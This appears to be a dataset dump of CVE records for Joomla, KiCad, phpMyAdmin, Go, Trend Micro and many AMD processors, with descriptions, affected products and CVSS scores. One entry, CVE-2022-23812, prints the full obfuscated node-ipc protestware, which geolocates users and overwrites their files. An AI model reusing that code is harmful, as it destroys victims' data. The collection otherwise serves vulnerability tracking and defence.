rainbutterfly/cve_corpus huggingface dataset:
CVE-2022-23793 [20220301] - Core - Zip Slip within the Tar extractor
An issue was discovered in Joomla! 3.0.0 through 3.10.6 & 4.0.0 through 4.1.0. Extracting an specifilcy crafted tar package could write files outside of the intended path.
Problem types: description: Path Traversal
Affected products: vendor: Joomla! Project
product: Joomla! CMS
vendor: Joomla! Project
product: joomla/archive
Published: 2022-03-30T15:20:22.462Z
CVE-2022-23794 [20220302] - Core - Path Disclosure within filesystem error messages
An issue was discovered in Joomla! 3.0.0 through 3.10.6 & 4.0.0 through 4.1.0. Uploading a file name of an excess length causes the error. This error brings up the screen with the path of the source code of the web application.
Problem types: description: Path Disclosure
Affected products: vendor: Joomla! Project
product: Joomla! CMS
vendor: Joomla! Project
product: joomla/filesystem
Published: 2022-03-30T15:20:24.272Z
CVE-2022-23795 [20220303] - Core - User row are not bound to a authentication mechanism
An issue was discovered in Joomla! 2.5.0 through 3.10.6 & 4.0.0 through 4.1.0. A user row was not bound to a specific authentication mechanism which could under very special circumstances allow an account takeover.
Problem types: description: Incorrect Access Control
Affected products: vendor: Joomla! Project
product: Joomla! CMS
Published: 2022-03-30T15:20:26.042Z
CVE-2022-23796 [20220304] - Core - Missing input validation within com_fields class inputs
An issue was discovered in Joomla! 3.7.0 through 3.10.6. Lack of input validation could allow an XSS attack using com_fields.
Problem types: description: XSS
Affected products: vendor: Joomla! Project
product: Joomla! CMS
Published: 2022-03-30T15:20:27.595Z
CVE-2022-23797 [20220305] - Core - Inadequate filtering on the selected Ids
An issue was discovered in Joomla! 3.0.0 through 3.10.6 & 4.0.0 through 4.1.0. Inadequate filtering on the selected Ids on an request could resulted into an possible SQL injection.
Problem types: description: SQL Injection
Affected products: vendor: Joomla! Project
product: Joomla! CMS
Published: 2022-03-30T15:20:29.271Z
CVE-2022-23798 [20220306] - Core - Inadequate validation of internal URLs
An issue was discovered in Joomla! 2.5.0 through 3.10.6 & 4.0.0 through 4.1.0. Inadequate validation of URLs could result into an invalid check whether an redirect URL is internal or not.
Problem types: description: Open redirect
Affected products: vendor: Joomla! Project
product: Joomla! CMS
Published: 2022-03-30T15:20:30.757Z
CVE-2022-23799 [20220307] - Core - Variable Tampering on JInput $_REQUEST data
An issue was discovered in Joomla! 4.0.0 through 4.1.0. Under specific circumstances, JInput pollutes method-specific input bags with $_REQUEST data.
Problem types: description: Variable Tampering
Affected products: vendor: Joomla! Project
product: Joomla! CMS
vendor: Joomla! Project
product: joomla/input
Published: 2022-03-30T15:20:32.231Z
CVE-2022-23800 [20220308] - Core - Inadequate content filtering within the filter code
An issue was discovered in Joomla! 4.0.0 through 4.1.0. Inadequate content filtering leads to XSS vulnerabilities in various components.
Problem types: description: XSS
Affected products: vendor: Joomla! Project
product: Joomla! CMS
vendor: Joomla! Project
product: joomla/filter
Published: 2022-03-30T15:20:33.653Z
CVE-2022-23801 [20220309] - Core - XSS attack vector through SVG
An issue was discovered in Joomla! 4.0.0 through 4.1.0. Possible XSS atack vector through SVG embedding in com_media.
Problem types: description: XSS
Affected products: vendor: Joomla! Project
product: Joomla! CMS
Published: 2022-03-30T15:20:35.023Z
CVE-2022-23802 Extension - Insecure Permissions within Joomla Guru extensions
Joomla Guru extension 5.2.5 is affected by: Insecure Permissions. The impact is: obtain sensitive information (remote). The component is: Access to private information and components, possibility to view other users' information. Information disclosure Access to private information and components, possibility to view other users' information.
Problem types: description: Insecure Permissions
Affected products: vendor: ijoomla.com
product: Guru
Credits: lang: en
value: Rafael García Lázaro
Published: 2022-05-06T17:55:11.006Z
CVE-2022-23803 
A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadXYCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.
Problem types: cwe_id: CWE-121
description: CWE-121: Stack-based Buffer Overflow
Affected products: vendor: n/a
product: KiCad
Published: 2022-02-16T16:38:33.000Z
CVE-2022-23804 
A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadIJCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.
Problem types: cwe_id: CWE-121
description: CWE-121: Stack-based Buffer Overflow
Affected products: vendor: n/a
product: KiCad
Published: 2022-02-16T16:38:34.000Z
CVE-2022-23805 
A security out-of-bounds read information disclosure vulnerability in Trend Micro Worry-Free Business Security Server could allow a local attacker to send garbage data to a specific named pipe and crash the server. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
Problem types: description: Out-Of-Bounds Read Information Disclosure
Affected products: vendor: Trend Micro
product: Trend Micro Worry-Free Business Security
Published: 2022-02-04T22:32:58.000Z
CVE-2022-23806 
Curve.IsOnCurve in crypto/elliptic in Go before 1.16.14 and 1.17.x before 1.17.7 can incorrectly return true in situations with a big.Int value that is not a valid field element.
Problem types: description: n/a
Affected products: vendor: n/a
product: n/a
Published: 2022-02-11T00:00:00.000Z
CVE-2022-23807 
An issue was discovered in phpMyAdmin 4.9 before 4.9.8 and 5.1 before 5.1.2. A valid user who is already authenticated to phpMyAdmin can manipulate their account to bypass two-factor authentication for future login instances.
Problem types: description: n/a
Affected products: vendor: n/a
product: n/a
Published: 2022-01-22T00:00:00.000Z
CVE-2022-23808 
An issue was discovered in phpMyAdmin 5.1 before 5.1.2. An attacker can inject malicious code into aspects of the setup script, which can allow XSS or HTML injection.
Problem types: description: n/a
Affected products: vendor: n/a
product: n/a
Published: 2022-01-22T00:00:00.000Z
CVE-2022-23810 
Template injection (Improper Neutralization of Special Elements Used in a Template Engine) vulnerability in a-blog cms Ver.2.8.x series versions prior to Ver.2.8.75, Ver.2.9.x series versions prior to Ver.2.9.40, Ver.2.10.x series versions prior to Ver.2.10.44, Ver.2.11.x series versions prior to Ver.2.11.42, and Ver.3.0.x series versions prior to Ver.3.0.1 allows a remote authenticated attacker to obtain an arbitrary file on the server via unspecified vectors.
Problem types: description: Template injection (Improper Neutralization of Special Elements Used in a Template Engine)
Affected products: vendor: appleple inc.
product: a-blog cms
Published: 2022-02-24T09:50:28.000Z
CVE-2022-23812 Malicious Package
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Problem types: description: Malicious Package
Affected products: vendor: n/a
product: node-ipc
CVSS v3.1: attackComplexity: LOW
attackVector: NETWORK
availabilityImpact: HIGH
baseScore: 9.8
baseSeverity: CRITICAL
confidentialityImpact: HIGH
exploitCodeMaturity: HIGH
integrityImpact: HIGH
privilegesRequired: NONE
remediationLevel: NOT_DEFINED
reportConfidence: NOT_DEFINED
scope: UNCHANGED
temporalScore: 9.8
temporalSeverity: CRITICAL
userInteraction: NONE
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H
version: 3.1
Credits: lang: en
value: Unknown
Published: 2022-03-16T15:45:31.515Z
CVE-2022-23813 
The software interfaces to ASP and SMU may not enforce the SNP memory security policy resulting in a potential loss of integrity of guest memory in a confidential compute environment.

Problem types: description: n/a
Affected products: vendor:  AMD
product: 2nd Gen EPYC
default_status: unaffected
vendor: AMD
product: 3rd Gen EPYC
default_status: unaffected
Published: 2023-01-10T20:56:55.421Z
CVE-2022-23814 
Failure to validate addresses provided by software to BIOS commands may result in a potential loss of integrity of guest memory in a confidential compute environment.

Problem types: description: n/a
Affected products: vendor: AMD
product: 3rd Gen EPYC
default_status: unaffected
Published: 2023-01-10T20:56:56.733Z
CVE-2022-23815 
Improper bounds checking in APCB firmware may allow an attacker to perform an out of bounds write, corrupting the APCB entry, potentially leading to arbitrary code execution.
Affected products: vendor: AMD
product: AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Athlon™ 3000 Series Mobile  Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Athlon™ 3000 Series Mobile  Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD RyzenTM Embedded R1000
default_status: affected
vendor: AMD
product: AMD RyzenTM Embedded R2000
default_status: affected
vendor: AMD
product: AMD RyzenTM Embedded V1000
default_status: affected
CVSS v3.1: attackComplexity: HIGH
attackVector: LOCAL
availabilityImpact: HIGH
baseScore: 7.5
baseSeverity: HIGH
confidentialityImpact: HIGH
integrityImpact: HIGH
privilegesRequired: HIGH
scope: CHANGED
userInteraction: NONE
vectorString: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
version: 3.1
Published: 2024-08-13T16:51:43.735Z
CVE-2022-23817 
Insufficient checking of memory buffer in AMD Secure Processor (ASP) Secure OS may allow an attacker with a malicious trusted application to read/write to the ASP Secure OS kernel virtual address space, potentially resulting in privilege escalation.
Problem types: cwe_id: CWE-20
description: CWE-20  Improper Input Validation
Affected products: vendor: AMD
product: AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ Threadripper™ PRO 3000 WX-Series Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 5000 Series Desktop Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ Threadripper™ PRO 5000 WX-Series Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ 3000 Series Mobile Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ 3000 Series Desktop Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 2000 Mobile Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 4000 Series Desktop Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 5000 Series Desktop Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded R1000 Series Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded R2000 Series Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded 5000 Series Processors
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded V1000 Series Processors (formerly codenamed "Raven Ridge")
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded V1000 Series Processors (formerly codenamed "Picasso")
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded V2000 Series Processor
default_status: affected
vendor: AMD
product: AMD Ryzen™ Embedded V3000 Series Processors
default_status: affected
vendor: AMD
product: AMD Radeon™ RX 5000 Series Graphics Products
default_status: affected
vendor: AMD
product: AMD Radeon™ PRO W5000 Series Graphics Products
default_status: affected
vendor: AMD
product: AMD Radeon™ RX 6000 Series Graphics Products
default_status: affected
vendor: AMD
product: AMD Radeon™ PRO W6000 Series Graphics Products
default_status: affected
vendor: AMD
product: MI-25 / 50
default_status: affected
vendor: AMD
product: MI-100
default_status: affected
vendor: AMD
product: AMD Instinct™ MI250
default_status: affected
vendor: AMD
product: AMD Instinct™ MI210
default_status: affected
Published: 2024-08-13T16:51:45.468Z
CVE-2022-23818 
Insufficient input validation on the model
specific register: VM_HSAVE_PA may potentially lead to loss of SEV-SNP guest
memory integrity.







 
















Affected products: vendor: AMD
product: 3rd Gen AMD EPYC™ 
default_status: unaffected
Published: 2023-05-09T18:36:28.387Z
CVE-2022-23820 
Failure to validate the AMD SMM communication buffer
may allow an attacker to corrupt the SMRAM potentially leading to arbitrary
code execution.
Affected products: vendor: AMD
product: Ryzen™ 3000 series Desktop Processors “Matisse"
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Desktop Processors “Vermeer”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Desktop Processor with Radeon™ Graphics  “Cezanne”
default_status: unaffected
vendor: AMD
product: AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics “Picasso” AM4
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ Threadripper™ 2000 Series Processors “Colfax”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ Threadripper™ 3000 Series Processors “Castle Peak” HEDT
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ Threadripper™ PRO Processors “Castle Peak” WS SP3
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ Threadripper™ PRO 3000WX Series Processors  “Chagall” WS
default_status: unaffected
vendor: AMD
product: AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics   “Pollock”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics “Picasso” FP5
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics “Renoir” FP6
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Lucienne”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Cezanne”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics "Rembrandt"
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics “Rembrandt-R”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics  “Barcelo”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics “Barcelo-R”
default_status: unaffected
vendor: AMD
product: 3rd Gen AMD EPYC™ Processors
default_status: unaffected
vendor: AMD
product: AMD EPYC™ Embedded 7003
default_status: unaffected
vendor: AMD
product: AMD EPYC™ Embedded 7003
default_status: unaffected
CVSS v3.1: attackComplexity: HIGH
attackVector: LOCAL
availabilityImpact: HIGH
baseScore: 7.5
baseSeverity: HIGH
confidentialityImpact: HIGH
integrityImpact: HIGH
privilegesRequired: HIGH
scope: CHANGED
userInteraction: NONE
vectorString: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
version: 3.1
Published: 2023-11-14T18:52:21.457Z
CVE-2022-23821 
Improper access control in System Management Mode (SMM) may allow an attacker to write to SPI ROM potentially leading to arbitrary code execution.









Affected products: vendor: AMD
product: Ryzen™ 3000 Series Desktop Processors “Matisse”
default_status: unaffected
vendor: AMD
product: Ryzen™ 5000 Series Desktop Processors “Vermeer”
default_status: unaffected
vendor: AMD
product: Ryzen™ 5000 Series Desktop Processor with Radeon™ Graphics  “Cezanne”
default_status: unaffected
vendor: AMD
product: Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics “Picasso” AM4
default_status: unaffected
vendor: AMD
product: Ryzen™ Threadripper™ 2000 Series Processors “Colfax”
default_status: unaffected
vendor: AMD
product: Ryzen™ Threadripper™ 3000 Series Processors “Castle Peak” HEDT
default_status: unaffected
vendor: AMD
product: Ryzen™ Threadripper™ PRO Processors “Castle Peak” WS SP3
default_status: unaffected
vendor: AMD
product: Ryzen™ Threadripper™ PRO 3000WX Series Processors  “Chagall” WS
default_status: unaffected
vendor: AMD
product: Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics “Dali”/”Dali” FP5
default_status: unaffected
vendor: AMD
product: Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics   “Pollock”
default_status: unaffected
vendor: AMD
product: Ryzen™ 3000 Series Mobile Processor with Radeon™ Graphics “Picasso” FP5
default_status: unaffected
vendor: AMD
product: Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics “Renoir” FP6
default_status: unaffected
vendor: AMD
product: Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Lucienne”
default_status: unaffected
vendor: AMD
product: Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics “Picasso” AM4
default_status: unaffected
vendor: AMD
product: Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics “Cezanne”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics "Rembrandt"
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics “Rembrandt-R”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 5000 Series Processors with Radeon™ Graphics  “Barcelo”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics “Barcelo-R”
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded R1000
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded R2000
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded 5000
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded V1000
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded V2000
default_status: unaffected
vendor: AMD
product: AMD Ryzen™  Embedded V3000
default_status: unaffected
Published: 2023-11-14T18:54:32.952Z
CVE-2022-23822 
In this physical attack, an attacker may potentially exploit the Zynq-7000 SoC First Stage Boot Loader (FSBL) by bypassing authentication and loading a malicious image onto the device. This in turn may further allow the attacker to perform additional attacks such as such as using the device as a decryption oracle. An anticipated mitigation via a 2022.1 patch will resolve the issue.
Problem types: cwe_id: CWE-863
description: CWE-863 Incorrect Authorization
Affected products: vendor: AMD-Xilinx
product: Zynq-7000 SoC FSBL
Published: 2022-04-27T16:06:05.276Z
CVE-2022-23823 
A potential vulnerability in some AMD processors using frequency scaling may allow an authenticated attacker to execute a timing attack to potentially enable information disclosure.
Problem types: description: NA
Affected products: vendor: AMD
product: AMD Processors
Published: 2022-06-15T19:13:04.771Z
CVE-2022-23824 
IBPB may not prevent return branch predictions from being specified by pre-IBPB branch targets leading to a potential information disclosure.
Problem types: description: NA
Affected products: vendor: AMD
product: AMD Processors
Published: 2022-11-09T20:48:06.826Z
CVE-2022-23825 
Aliases in the branch predictor may cause some AMD processors to predict the wrong branch type potentially leading to information disclosure.
Problem types: description: NA
Affected products: vendor: AMD
product: AMD Processors
Published: 2022-07-14T19:27:08.292Z